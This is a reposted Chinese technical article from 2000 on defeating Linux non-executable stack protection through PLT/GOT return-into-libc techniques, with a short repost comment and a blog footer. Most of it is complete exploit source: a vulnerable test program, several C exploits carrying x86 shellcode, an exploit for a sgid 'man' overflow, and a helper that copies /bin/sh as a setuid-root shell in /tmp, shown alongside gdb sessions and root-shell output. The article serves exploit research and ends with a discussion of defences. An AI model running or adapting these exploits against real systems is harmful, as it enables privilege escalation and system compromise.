绕过Linux不可执行堆栈保护的方法浅析

本文详细介绍了如何绕过Linux系统中针对不可执行堆栈的保护措施,包括理解Intel 80386保护模式下的分页机制、分析缓冲区溢出的原理以及Linux内核安全补丁的工作方式。作者通过实例展示了如何利用过程链接表(PLT)和全局偏移表(GOT)来规避不可执行堆栈保护,包括利用`system()`和`strcpy()`函数来执行shellcode。文章最后讨论了可能的防御策略和Solar Designer的安全补丁的局限性。

很久以前的文章, 虽然很老但其中的技术却能让你学到很多东西,特别是底层方面的,我用

4天看完了,由衷感慨黑客的智慧。(我在RH 7.2下实验成功)

绕过Linux不可执行堆栈保护的方法浅析

                                          by warning3 <warning3@hotmail.com>
                                          http://www.isbase.com
                                          2000/4/13


Intel 80386保护模式下提供了分段机制和分页机制,虚地址空间可以达16k个段,每个
段最大可以达到4G.基于i386的Linux系统尽可能的避开了分段机制,而主要利用了分页管
理机制。每个用户进程可以访问4GB的线性虚拟地址空间。其中,从0-3GB的虚拟内存空间
是用户空间,而从3G-4G的虚拟空间是内核态空间。而进程的代码段和数据段的虚拟空间是
地址是重叠的,起始地址都是0x00000000,段长度也一样。因此,攻击者利用缓冲区溢出覆
盖函数的返回地址后,将返回地址指向数据段中的某个地址,并事先在该地址中放置一些
代码(通常是用来执行一个shell程序,当然也可能是完成其他更复杂的一些操作),这样
,当函数返回时,就会跳到该地址去执行代码,由于数据段和代码段的地址是重叠的,因
此尽管这部分代码是在数据段,仍然可以被执行。如果要想防止缓冲区溢出,一个可能的
思路就是不让数据段可执行,尤其是堆栈段(当然还有其他的解决办法,如从编译器入手,
如Crispin Cowan等人开发的StackGuard,关于它的介绍可以参看绿盟月刊第6期中<< 缓冲
区溢出:十年来攻击和防卫的弱点>>一文)。Solar Designer提供的kernel security
patch中是通过减少代码段的长度,来区分堆栈段和代码段的,由于堆栈段的增长方向是从
高地址到低地址的,因此堆栈段和代码段地址范围通常是不会重叠的。这样可以有效的避
免在堆栈中安排溢出代码,并返回到堆栈中执行的攻击手段。

下面是一个典型的有缓冲区溢出漏洞的程序。它没有检查用户输入变量的长度,就贸然得
将输入变量拷贝到一个固定大小的缓冲区(8个字节)中。

/* ----> hole.c <----
* one vulnerable program for buffer overflowing .
* by warning3
*/
main(int argc, char **argv)
{
char buf[8];
if ( argc > 1 )
strcpy(buf,argv[1]);
}

[warning3@mytest non-exec]$ gcc -o hole hole.c -ggdb

下面是一个通常的攻击程序,用来对hole.c进行测试:

/*
*                    ----> ex1.c <----
*  normal exploit for test buffer overflow with executable stack.
*                                                by warning3
*/

#include
char shellcode[] = /* just aleph1's old shellcode (linux x86) */
   "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0"
   "/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8"
   "/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";

long get_esp()
{
   __asm__("movl %esp,%eax");
}

main()
{
  int i;
  long addr,offset=100,bufsize=512;
  char *buf;
  if((buf=(char *)malloc(bufsize))==NULL) {
     fprintf(stderr,"no enough memory!/n");
     exit(-1);
  }
  addr=get_esp()-offset;
  printf("Using RET address: 0x%x/n",addr);
  memset(buf,0x90,bufsize);
  for(i=0;i<16;i+=4)
   memcpy(buf+i,&addr,4);
  memcpy(buf+bufsize-strlen(shellcode)-1,shellcode,strlen(shellcode));
  *(buf+bufsize)='/0';
  execl("./hole","hole",buf,0);
}


在没有执行不可执行堆栈patch前,用这个程序,我们可以攻击成功。
[warning3@mytest non-exec]$ gcc -o ex1 ex1.c
[warning3@mytest non-exec]$ ./ex1
Using RET address: 0xbffffc74
bash$
但是在用了不可执行堆栈patch的内核下,再用这个程序,攻击就被阻止了:
[root@mytest non-exec]# ./ex1
Using RET address: 0xbffffc74
Segmentation fault
[root@mytest non-exec]# tail -1 /var/log/messages
Apr 10 16:59:48 mytest kernel: Security: return onto stack running as UID 0, EUID 0, process hole:938
我们看到,kernel检测到了这种堆栈攻击,并成功的阻止了攻击的进行。

那么我们有什么办法来绕过这个patch呢?首先想到的是,只要返回地址不在堆栈里,这个
patch就失效了。既然通常我们的目的是执行一个shell (execl("/bin/sh","/bin/sh",0)
,那么我们为什么不利用现成的libc库中库函数system(),execl()等来做呢?在Solar
Designer早期写的patch版本中,这种办法是可行的。他甚至写了几个测试程序来验证这种
方法。用system()是最简单的方法,因为只需要提供一个参数"/bin/sh",通过在libc库中
搜索,可以得到system()函数的地址以及shell字符串地址,因此可以用这种返回libc库中
的办法来绕过这种堆栈保护。但后来Solar Designer改进了他的patch,将libc库中的库函
数的地址映射到代码段的低端,使每个库函数的地址中都以0x00开始,因为通常溢出都发
生在字符串拷贝中,所以这样攻击者就很难通过字符串来传递这个库函数地址以及后续参
数。

[warning3@mytest tmp]$ ps -auxw|grep hole|grep -v grep
warning3 1065 2.0 12.3 7236 5820 pts/0 S 18:04 0:00 gdb hole
warning3 1066 0.0 0.6 1064 292 pts/0 T 18:05 0:00 /home/warning3/non-exec/hole aa
[warning3@mytest tmp]$ cd /proc/1066
[warning3@mytest 1066]$ cat maps
00110000-00122000 r-xp 00000000 03:01 48143 /lib/ld-2.1.2.so
00122000-00123000 rw-p 00012000 03:01 48143 /lib/ld-2.1.2.so
00128000-00213000 r-xp 00000000 03:01 48150 /lib/libc-2.1.2.so
00213000-00217000 rw-p 000ea000 03:01 48150 /lib/libc-2.1.2.so
^
|
+---------我们可以看到,整个libc库都被映射到了内存空间的低端
00217000-0021b000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 03:05 47207 /home/warning3/non-exec/hole
08049000-0804a000 rw-p 00000000 03:05 47207 /home/warning3/non-exec/hole
bfffe000-c0000000 rwxp fffff000 00:00 0

其实,我们根本不必直接使用libc库的地址,Rafal Wojtczuk找到了一种非常聪明的方法
来绕过这种限制: 利用PLT(过程链接表)。
当使用动态链接库的ELF格式的文件时,程序使用的共享库中的过程函数在过程链接表中会
有一个表项,用来将控制传输到全局偏移表中的相应地址中去。如果LD_BIND_NOW变量没有
设置(也就是工作在lazy模式),那么在控制到达程序之前,动态链接器不会将真实的库
函数的地址储存在全局偏移表中,而是代以一个"相对"地址。我们来看一下实际的例子:

[warning3@mytest non-exec]$ gdb hole
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disass main
Dump of assembler code for function main:
0x80483c8 :       push   %ebp
0x80483c9 :     mov    %esp,%ebp
0x80483cb :     sub    $0x8,%esp
0x80483ce :     cmpl   $0x1,0x8(%ebp)
0x80483d2 :    jle    0x80483e9
0x80483d4 :    mov    0xc(%ebp),%eax
0x80483d7 :    add    $0x4,%eax
0x80483da :    mov    (%eax),%edx
0x80483dc :    push   %edx
0x80483dd :    lea    0xfffffff8(%ebp),%eax
0x80483e0 :    push   %eax
0x80483e1 :    call   0x8048308
0x80483e6 :    add    $0x8,%esp
0x80483e9 :    leave 
0x80483ea :    ret   
End of assembler dump.
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x8048308 :     jmp    *0x80494a8
0x804830e :   push   $0x18
0x8048313 :  jmp    0x80482c8 <_init+48>
End of assembler dump.

     
>>> 这里0x8048308是strcpy在PLT(过程链接表)中的地址,当执行strcpy时,会首先跳
>>> 到这里运行,这里储存的是一条jmp语句,它将跳到0x80494a8中存放的地址去执行。那
>>> 么我们来看看那里放着些什么:

(gdb) x/1wx 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e

>>> 0x80494a8是在GOT(全局偏移表)中,我们可以看到,这里存放的地址其实是个"相对"
>>> 地址: <strcpy+6> 0x0804830e。
>>> 在进程第一次调用strcpy时,动态链接器(dynamic linker)会将控制转到链接库的正
>>> 确位置,并将strcpy库函数的绝对地址放到0x80494a8中去,那么下一次再调用strcpy
>>> 时,jmp *0x80494a8就会直接跳到libc库中的正确位置去执行。

(gdb) b *0x80483e1
Breakpoint 1 at 0x80483e1: file hole.c, line 5.
(gdb) r AAAAAAAABBBBBBBB
Starting program: /home/warning3/non-exec/hole AAAAAAAABBBBBBBB

Breakpoint 1, 0x80483e1 in main (argc=2, argv=0xbffffd34) at hole.c:5
5 strcpy(buf,argv[1]);
(gdb) x/1wx 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e

>>> 这时候*0x80494a8内容还没有改变

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/1wx 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x00185420

>>> 现在可以看到,这时*0x80494a8的内容已经用strcpy库函数的地址替换了,我们可以
>>> 注意到,0x00185420的地址高位是0,而在没有打kernel patch的系统中,高位通常不
>>> 是零。

(gdb) p strcpy
$1 = {char *(char *, char *)} 0x185420
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x185420 :      push   %ebp
0x185421 :    mov    %esp,%ebp
0x185423 :    push   %esi
0x185424 :    mov    0x8(%ebp),%esi
0x185427 :    mov    0xc(%ebp),%edx
0x18542a :   mov    %esi,%eax
0x18542c :   sub    %edx,%eax
0x18542e :   lea    0xffffffff(%eax),%ecx
0x185431 :   mov    (%edx),%al
0x185433 :   inc    %edx
0x185434 :   mov    %al,(%ecx,%edx,1)
0x185437 :   test   %al,%al
0x185439 :   jne    0x185431
0x18543b :   mov    %esi,%eax
0x18543d :   mov    0xfffffffc(%ebp),%esi
0x185440 :   leave 
0x185441 :   ret   
End of assembler dump.
     
因此,如果有问题的程序使用了某些库函数比如system(),execlp()等等,那么这些函数会
在过程链接表中有相应的表项,因此,我们不需要直接用库函数的真实地址来覆盖返回地
址,而只要用它在PLT中的地址来覆盖就行了。这些库函数的参数(比如字符串"/bin/sh")
可以用很多方法得到,可以在程序的数据段中找(如果包含的话),也可以在攻击程序中
通过环境变量传递过去(这种方法需要精确的找到环境变量的地址)。
但是,很多程序并没有使用system(),execlp()等库函数,但是却大量的使用了strcpy()
或者sprintf()函数(至少一半以上的缓冲区溢出问题都是由这两个函数导致的:-),接下
来我们来看一种利用PLT中的strcpy()/sprintf()来绕过不可执行堆栈的方法。(这里只是
使用了strcpy()的例子,sprintf()也是一样的)

<一> 利用PLT将shellcode拷贝到数据段中执行

Solar Designer的kernel patch没有使全部的数据段都不可执行,BSS区(未初始化数据
区)和HEAP区(已初始化数据区)都是可写可执行的。因此,如果我们能够将shellcode拷
贝到这些数据段中,然后想办法将控制转向这里,就可以执行这些代码。将shellcode拷贝
到数据段的方法可以是利用应用程序本身,比如如果程序可以将用户输入的数据拷贝到某
个malloc()分配的buffer中,那么我们就可以利用它。即使不能利用应用程序也不要紧,
我们不需要它也可以拷贝我们的shellcode.:-)

我们的做法是在堆栈中构造一个假的strcpy函数调用,例如:

覆盖前:| buffer | ebp  |   eip  | arg[3] | arg[2] | arg[1] |
覆盖后:|  YYYY  | XXXX | STRCPY |  DEST  |  DEST  |   SRC  |
堆栈低端------------------------------------------------------>堆栈高端

这里:

YYYY : 是填充用的数据
XXXX : 是填充用的数据
STRCPY : strcpy()在PLT中的入口地址
DEST : 我们要将shellcode拷贝到的某个数据段地址
SRC : 我们的shellcode所在地址,这里我们会将shellcode藏在环境变量中传过去

(当然,所有的这些地址都不能包含0字节,否则可能不能完成全部数据的拷贝,这也可以通过
在程序中增加检查语句来实现,以下的测试程序中都省略了这一步 )

当函数要返回前,它会先将寄存器ebp中的内容恢复到esp中,然后弹出保存的ebp的值,这
时候保存的ebp的值其实已经被我们用"XXXX"覆盖了,现在堆栈指针esp指向"STRCPY"处,
ret指令使程序开始跳到"STRCPY"地址处执行(这时候堆栈指针指向第一个"DEST"处),其实
就是开始执行PLT中的jmp *0x80494a8语句,然后程序跳到真正的strcpy()函数处去执
行。

(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x185420 :      push   %ebp
0x185421 :    mov    %esp,%ebp
0x185423 :    push   %esi
0x185424 :    mov    0x8(%ebp),%esi
0x185427 :    mov    0xc(%ebp),%edx
......

从上面的汇编程序我们可以知道,strcpy()首先将ebp中的内容("XXXX")压栈,然后将当前
的堆栈指针内容(现在又指向了原来的"STRCPY"处)拷贝到ebp中,然后将0x8(%ebp)作为目
的地址,0xc(%ebp)当作源地址,刚好就是我们的DESC和SRC,因此strcpy()将会把SRC处的
shellcode拷贝到DESC(数据段)中去.到这里我们的任务已经完成了一半了,shellcode已经
在数据段了,下一步就是要跳到该地址去执行了。而现在strcpy()会以为"XXXX"是保存的
ebp,"DEST"是保存的eip,因此它会返回到该地址去执行。

下面的示意图解释了程序的执行流程:

覆盖前           覆盖后,返回前      返回后           执行strcpy()时
+--------+        +--------+        +--------+        +--------+
|   ...  |        |   ...  |        |   ...  |        |   ...  |
+--------+        +--------+        +--------+        +--------+
| buffer |        |  YYYY  |        |  YYYY  |        |  YYYY  |    
+--------+        +--------+        +--------+        +--------+    
|   ebp  |        |  XXXX  |        |  XXXX  |        |  XXXX  |    
+--------+     esp+--------+        +--------+     esp+--------+    
|   eip  | --->   | STRCPY | --->   | STRCPY | --->   |  XXXX  | saved_ebp
+--------+        +--------+     esp+--------+        +--------+    
|   arg3 |        |  DEST  |        |  DEST  |        |  DEST  | saved_eip
+--------+        +--------+        +--------+        +--------+    
|   arg2 |        |  DEST  |        |  DEST  |        |  DEST  |    
+--------+        +--------+        +--------+        +--------+    
|   arg1 |        |  SRC   |        |  SRC   |        |  SRC   |    
+--------+        +--------+        +--------+        +--------+    
|   ...  |        |   ...  |        |   ...  |        |   ...  |    
+--------+        +--------+        +--------+        +--------+   
                                     %ebp=XXXX

下面我们来写一个测试程序,验证一下我们所说的攻击过程。

首先要得到几个地址的值:STRCPY,DEST,SRC

[warning3@mytest non-exec]$ gdb hole
< 省略... >
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x8048308 <strcpy>
所以STRCPY=0x8048308,我们在另一个窗口下看一下hole的内存分布,1066是hole运行的pid

[warning3@mytest tmp]$ cd /proc/1066
[warning3@mytest 1066]$ cat maps
00110000-00122000 r-xp 00000000 03:01 48143      /lib/ld-2.1.2.so
00122000-00123000 rw-p 00012000 03:01 48143      /lib/ld-2.1.2.so
00128000-00213000 r-xp 00000000 03:01 48150      /lib/libc-2.1.2.so
00213000-00217000 rw-p 000ea000 03:01 48150      /lib/libc-2.1.2.so
00217000-0021b000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 03:05 47207      /home/warning3/non-exec/hole 
08049000-0804a000 rw-p 00000000 03:05 47207      /home/warning3/non-exec/hole  ^
|

+---------- 这里是我们可以写入的数据段
bfffe000-c0000000 rwxp fffff000 00:00 0

我们可以设置DEST的地址为0x8049010(注意:虽然这一段的属性显示不可执行,实际上仍然
是可以执行的,这是因为x86的分页机制不允许对每一页设置执行属性,而只能设置读/写属
性).我们可以将shellcode通过环境变量传递给hole程序,SRC的地址可以通过猜测环境变
量的地址来找到,通常位于堆栈的高(地址)端,并不难找到。

/*             ----> ex2.c <----
*  This is one demo exploit for non-exec stack .
*  Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch
*                               by warning3
*/

#include

#define STRCPY  0x8048308   /* strcpy's PLT entry */
#define DEST    0x8049010   /* destination data segment address (rwx) */
#define BUFSIZE 8           /* the size of overflowed buffer */
#define EGGSIZE 1024        /* the egg buffer size */

char shellcode[] = /* standard shellcode for Linux(x86) */
   "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0"
   "/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8"
   "/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";

long get_esp(void)  

{
        __asm__("movl %esp,%eax");
}


main( int argc, char **argv )

{

        char *pattern, eggbuf[EGGSIZE];
        long srcaddr, i, offset=1524, *addrptr, align, patternsize, bufsize=BUFSIZE ;
       
        if( argc > 1 ) bufsize = atoi(argv[1]);
        if( argc > 2 ) offset = atoi(argv[2]);
       
       
        srcaddr = get_esp() + offset;
        printf("Usages: %s  /n/n", argv[0] );
        printf("Using SRC address = 0x%x  ,Offset = %d/n", srcaddr, offset );

        patternsize = bufsize + 4 + 16 + 1;
        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!/n");
           exit(-1);
        }

        memset(pattern, 'A', patternsize );  /* fill pattern buffer with garbage */
        align = bufsize + 4;
        addrptr = (long *) (pattern + align);
        *addrptr++ = STRCPY;        /* replace saved_eip */
        *addrptr++ = DEST;
        *addrptr++ = DEST;
        *addrptr++ = srcaddr;

        /* construct shellcode buffer */
        memset(eggbuf, 0x90 , EGGSIZE);
        memcpy(eggbuf + EGGSIZE - strlen(shellcode) -1, shellcode, strlen(shellcode));
        setenv("EGG", eggbuf , 1);

        execl("./hole", "./hole", pattern, NULL);
}

验证一下:

[warning3@mytest non-exec]$ gcc -o ex2 ex2.c
[warning3@mytest non-exec]$ ./ex2
Usages: ./ex2 <bufsize> <offset>

Using SRC address = 0xbffffed0 ,Offset = 1524
bash#

成功!

下面我们再来看一个实际的例子,在一台安装了Solar Designer的不可执行堆栈的补丁的
RedHat 6.1上(kernel 2.2.14),它的man程序被设置了sgid man位,"man"存在一个缓冲区
溢出问题,当"MANPAGER"变量超长时就会溢出。

[warning3@mytest non-exec]$ gdb man
<....>
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy> <--- 得到我们的STRCPY
[warning3@mytest non-exec]$ man ls

LS(1) FSF LS(1)

NAME
ls - list directory contents
<....>
[1]+ Stopped man ls
[warning3@mytest non-exec]$ ps -auxw|grep "man ls"
warning3 641 0.0 1.3 1308 632 pts/0 T 09:37 0:00 man ls
[warning3@mytest non-exec]$ cat /proc/641/maps
<....>
00217000-0021b000 rw-p 00000000 00:00 0
08048000-08050000 r-xp 00000000 03:01 52578 /usr/bin/man
08050000-08051000 rw-p 00007000 03:01 52578 /usr/bin/man <--- 得到我们的
DEST
<...>

现在可以完成我们的测试程序了:

/*             ----> ex_man.c <----
*  This is one exploit for sgid man with Linux non-exec stack patch.
*  It will give you sgid man privilege.
*  Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch
*                               by warning3
*/

#include

#define STRCPY  0x80490e4   /* strcpy's PLT entry */
#define DEST    0x8050110   /* destination data segment address (rwx) */
#define BUFSIZE 4054        /* the size of overflowed buffer */
#define EGGSIZE 1024        /* the egg buffer size */
#define OFFSET  1200        /* SRC's offset */

char shellcode[] = /* standard shellcode for Linux(x86) */
   "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0"
   "/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8"
   "/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh";

long get_esp(void)  

{
        __asm__("movl %esp,%eax");
}


main( int argc, char **argv )

{

        char *pattern, eggbuf[EGGSIZE];
        long srcaddr, i, offset=OFFSET, *addrptr, align, patternsize, bufsize=BUFSIZE ;
       
        if( argc > 1 ) bufsize = atoi(argv[1]);
        if( argc > 2 ) offset = atoi(argv[2]);
       
       
        srcaddr = get_esp() + offset;
        printf("Usages: %s  /n/n", argv[0] );
        printf("Using SRC address = 0x%x  ,Offset = %d/n", srcaddr, offset );

        patternsize = bufsize + 4 + 16 + 1;
        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!/n");
           exit(-1);
        }
        memset(pattern, 'A', patternsize );  /* fill pattern buffer with garbage */
        align = bufsize + 4;
        addrptr = (long *) (pattern + align);
        *addrptr++ = STRCPY;        /* replace saved_eip */
        *addrptr++ = DEST;
        *addrptr++ = DEST;
        *addrptr++ = srcaddr;

        /* construct shellcode buffer */
        memset(eggbuf, 0x90 , EGGSIZE);
        memcpy(eggbuf + EGGSIZE - strlen(shellcode) -1, shellcode, strlen(shellcode));

        setenv("MANPAGER", pattern , 1);
        setenv("EGG", eggbuf , 1);
        execl("/usr/bin/man","man","ls",NULL);
}

[warning3@mytest non-exec]$ gcc -o ex_man ex_man.c
[warning3@mytest non-exec]$ ./ex_man
Usages: ./ex_man 

Using SRC address = 0xbffffd8c  ,Offset = 1200
sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......       
<....>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA岧?緼 exited with status 127.
bash$ id
uid=500(warning3) gid=500(warning3) egid=15(man) groups=500(warning3)


用这种方法,我们需要拷贝一个shellcode到可执行的数据段中,然后执行shellcode.实际
上我们并不需要可执行的数据段,我们来看第二种方法。

<二> 用system()地址覆盖strcpy()的GOT入口

我们考虑用下面这个模板来覆盖堆栈中的buffer


覆盖前:| buffer | ebp  |   eip  | arg[3] | arg[2]         | arg[1] |
覆盖后:|  YYYY  | XXXX | STRCPY | STRCPY | PLTENT-offset  |   SRC  |
堆栈低端------------------------------------------------------>堆栈高端


这里:

YYYY : 是填充用的数据
XXXX : 是填充用的数据
STRCPY : strcpy()在PLT中的入口地址
PLTENT : STRCPY在GOT中的入口地址,即 前面例子中看到的"jmp *0x80494a8"中的
0x80494a8
offset : 这个是我们的command字符串的长度,以使我们的SYSTEM刚好覆盖PLTENT
SRC : 我们要执行的命令所在地址,这个地址需要是非常精确的


我们的基本思路是:利用libc库中的system函数(因为它只需要一个参数,实现起来比较简
单),将它的地址覆盖STRCPY在GOT的偏移地址。方法是,第一个STRCPY执行时,将会把SRC
开始的一个命令字符串拷贝到(PLTENT-offset)地址处,SRC处的前面是我们要执行的命令,
比如"/tmp/tt",最后四个字节是SYSTEM的地址,由于system()库函数的地址的最高字节为
0x00,因此刚好可以终止这个命令串。由于offset就是命令的长度,因此,拷贝完成后,
SYSTEM的地址刚好被放到了PLTENT里面,如图所示:



            SYSTEM
|/tmp/tt|0x00ABCDEF|
^       ^
|       |________PLTENT
|
|__PLTENT-offset


因此,在进行第二次STRCPY时,GOT中存储的实际上是system()的地址,也就是说,接下来
执行的是system()函数,它会将SRC作为它的参数入口地址,而我们的参数现在是"/tmp/tt.
..", "tt"后面的字符通常是不好确定的,我们可以利用管道符来解决这个问题,命令变成
这样:"/tmp/tt|",这样,不管"|"后面是什么字符,我们都可以保证/tmp/tt都会被执行。
(当然,有些情况下还是有些问题,后面会讲到).

/tmp/tt使我们实现编译好的一个程序,通常用来拷贝一个suid root的shell.当然也可以
完成其他的操作。

/* tt.c -- make one suid root shell in /tmp .*/
main()
{
system("cp /bin/sh /tmp/xixi");
system("chmod 4755 /tmp/xixi");

}
[warning3@mytest non-exec]$ gcc -o tt tt.c; cp tt /tmp/tt

我们首先来找一下那几个参数的地址:

[root@mytest non-exec]# gdb ./hole
<....>
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x8048308 <strcpy>
                                      <--- 得到 STRCPY=0x8048308
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x8048308 <strcpy>:     jmp    *0x8049478                 
                                      <----得到 PLTENT=0x8049478   
0x804830e <strcpy+6>:   push   $0x18
0x8048313 <strcpy+11>:  jmp    0x80482c8 <_init+48>
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x80483ce
(gdb) r
Starting program: /home/warning3/non-exec/./hole

Breakpoint 1, 0x80483ce in main ()
(gdb) p system
$2 = {<text variable, no debug info>} 0x168160 <__libc_system>
                                     
                                      <---- 得到SYSTEM=0x168160

对于SRC,一种方法是通过gdb来寻找。我们先编译下面的测试程序,SRC的值可以先用临时
的非零数值代替。


       
      /*          ---> ex4.c <---
       
*  another exploit to test non-exec stack.
*  Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch
*                               by warning3
*/
       
      #include <stdio.h>
      #define STRCPY  0x8048308   /* strcpy()'s PLT Entry */
      #define PLTENT  0x8049478   /* strcpy()'s GOT offset */
      #define SYSTEM  0x168160    /* system()'s libc address */
      #define SRC     0xbfffffe8  /* our "command" string's addr */
      #define BUFSIZE 8           /* the size of overflowed buffer */
      #define EGGSIZE 50          /* the egg buffer size */
     
       
      main( int argc, char **argv )
       
{
       
        char *pattern, eggbuf[EGGSIZE];
        char command[] = "/tmp/tt|";
       
        long i, *addrptr, align, patternsize, bufsize=BUFSIZE ;
       
        if( argc > 1 ) bufsize = atoi(argv[1]);
       
      
        printf("Usages: %s <bufsize> /n/n", argv[0] );
       
        patternsize = bufsize + 4 + 16 + 1;
       
        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!/n");
           exit(-1);
        }
       
        memset(pattern, 'A', patternsize );  /* fill pattern buffer with garbage */
        align = bufsize + 4;
        addrptr = (long *) (pattern + align);
        *addrptr++ = STRCPY;        /* replace saved_eip */
        *addrptr++ = STRCPY;
        *addrptr++ = PLTENT - strlen(command);
        *addrptr++ = SRC;
       
        /* construct command buffer */
       
        memcpy(eggbuf, command, strlen(command));
        *(long *) &eggbuf[ strlen(command) ] = SYSTEM;
        setenv("EGG", eggbuf , 1);
       
        execl("./hole","./hole",pattern,NULL);
       
}
     
      
      [root@mytest non-exec]# gcc -o ex4 ex4.c
      [root@mytest non-exec]# ./ex4
      Usages: ./ex4 <bufsize>
      Segmentation fault (core dumped)
      [root@mytest non-exec]# gdb ./hole core
      <...>
      #0  0x1681607c in ?? ()
       
      (gdb) x/5s 0xbfffffe0
      0xbfffffe0:      "/ex8"
      0xbfffffe5:      "EGG=/tmp/tt|`/201/026"
      0xbffffff5:      "./hole"
      0xbffffffc:      ""
      0xbffffffd:      ""
      (gdb) x/1s 0xbfffffe9
      0xbfffffe9:      "/tmp/tt|`/201/026"
     
因此,我们可以用0xbfffffe9作为SRC的值,重新编译后执行:


[root@mytest non-exec]# gcc -o ex4 ex4.c
[root@mytest non-exec]# ./ex4
Usages: ./ex4 <bufsize>

sh: unexpected EOF while looking for ``'
sh: -c: line 2: syntax error
Segmentation fault (core dumped)

我们看到,我们的command命令实际上已经被system()执行了。只是shell没有找到与``'相
匹配的另外一个字符,因此没有执行我们的/tmp/tt.这个字符是哪里来的呢?我们注意到
SYSTEM的地址是0x168160,而0x60就是'`'的ASCII码,这个'`'就是它在作怪。只要能再给
它提供一个相匹配的'`'就行了。我们可以将command的内容改成: "/tmp/tt|`",这样实际
执行的命令就成了system("/tmp/tt|``..."),这样,我们的/tmp/tt就可以被运行了。

注意:在不同的系统上,可能SYSTEM的地址是不一样的,因此解决这个问题的方法也不尽
相同,但思路应该是一样的。

将command重新改写后(注意:因为command的长度变了,导致SRC的地址也变化了,这里变
成了0xbfffffe8,也需要更新),

11c11
< #define SRC 0xbfffffe9 /* our "command" string's addr */
---
> #define SRC 0xbfffffe8 /* our "command" string's addr */
21c21
< char command[] = "/tmp/tt|";
---
> char command[] = "/tmp/tt|`";

重新编译运行:

[warning3@mytest non-exec]$ ./ex4
Usages: ./ex4 <bufsize>

sh: ? command not found <---- "|"后面的命令不存在,不过前面的已经被执行了。:)
Segmentation fault
[warning3@mytest non-exec]$ ls -l /tmp/tt /tmp/xixi
-rwxr-xr-x 1 warning3 warning3 11736 Apr 11 22:28 /tmp/tt
-rwsr-xr-x 1 root warning3 373176 Apr 11 23:52 /tmp/xixi
[warning3@mytest non-exec]$ /tmp/xixi
[warning3@mytest non-exec]# id
uid=500(warning3) gid=500(warning3) euid=0(root) groups=500(warning3)



如果被攻击的程序本身已经使用了system,execlp等等"危险"系统调用,攻击的方法可能更
加简单,可以参考采用下面的两种模板来进行:

--------------------------------
| SYSTEM |  EXIT    |  BIN_SH  |
--------------------------------
------------------------------------------------
| EXECLP |  EXIT    |  BIN_SH  |  BIN_SH  |  0 |
------------------------------------------------

有兴趣的读者可以自行测试一下。

我们前面介绍的这两种方法,都是可以绕过不可执行堆栈patch的。基本的思路是利用PLT
表中的入口来进行攻击。一种可能的解决方法就是将PLT也映射到内存空间的低16M地址去
,那这些攻击方法就会失效了。

从前面的分析可以知道,尽管Solar Designer的kenel patch并不能解决这种攻击手法,但
是这个patch无疑还是大大增加了攻击的难度,对入侵者的要求也比较高,同时,他的patch
还有其他的安全增强功能,例如防止共享内存被滥用,增加对/proc目录的访问控制,限制
/tmp下链接竞争等等。因此仍然很值得一用的。及时对有问题的软件/系统进行安全更新仍
然是必不可少的。

<完>

<* 声明: 本文仅供教育和研究目的使用,请勿用于非法目的,否则责任自负!
如欲转载载,请保留完整信息。如果文中有任何疏漏或者错误,欢迎与本人联系,
共同探讨. Email: warning3@hotmail.com
*>

<参考文献>

[1] <<Defeating Solar Designer's Non-executable Stack Patch>> ,Rafal Wojtczuk,

[2] <<Getting around non-executable stack (and fix)>>, Solar Designer

[3] 3xterm.c (A simple xploit working around non-executable stack patch), M.C.Mar

[4] <<The OMEGA project finished >>, lamagra ,<lamagra@uglypig.org>

备注:

Solar Designer的Linux kernel patch可以从这个地址下载:
http://www.openwall.com/linux/

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值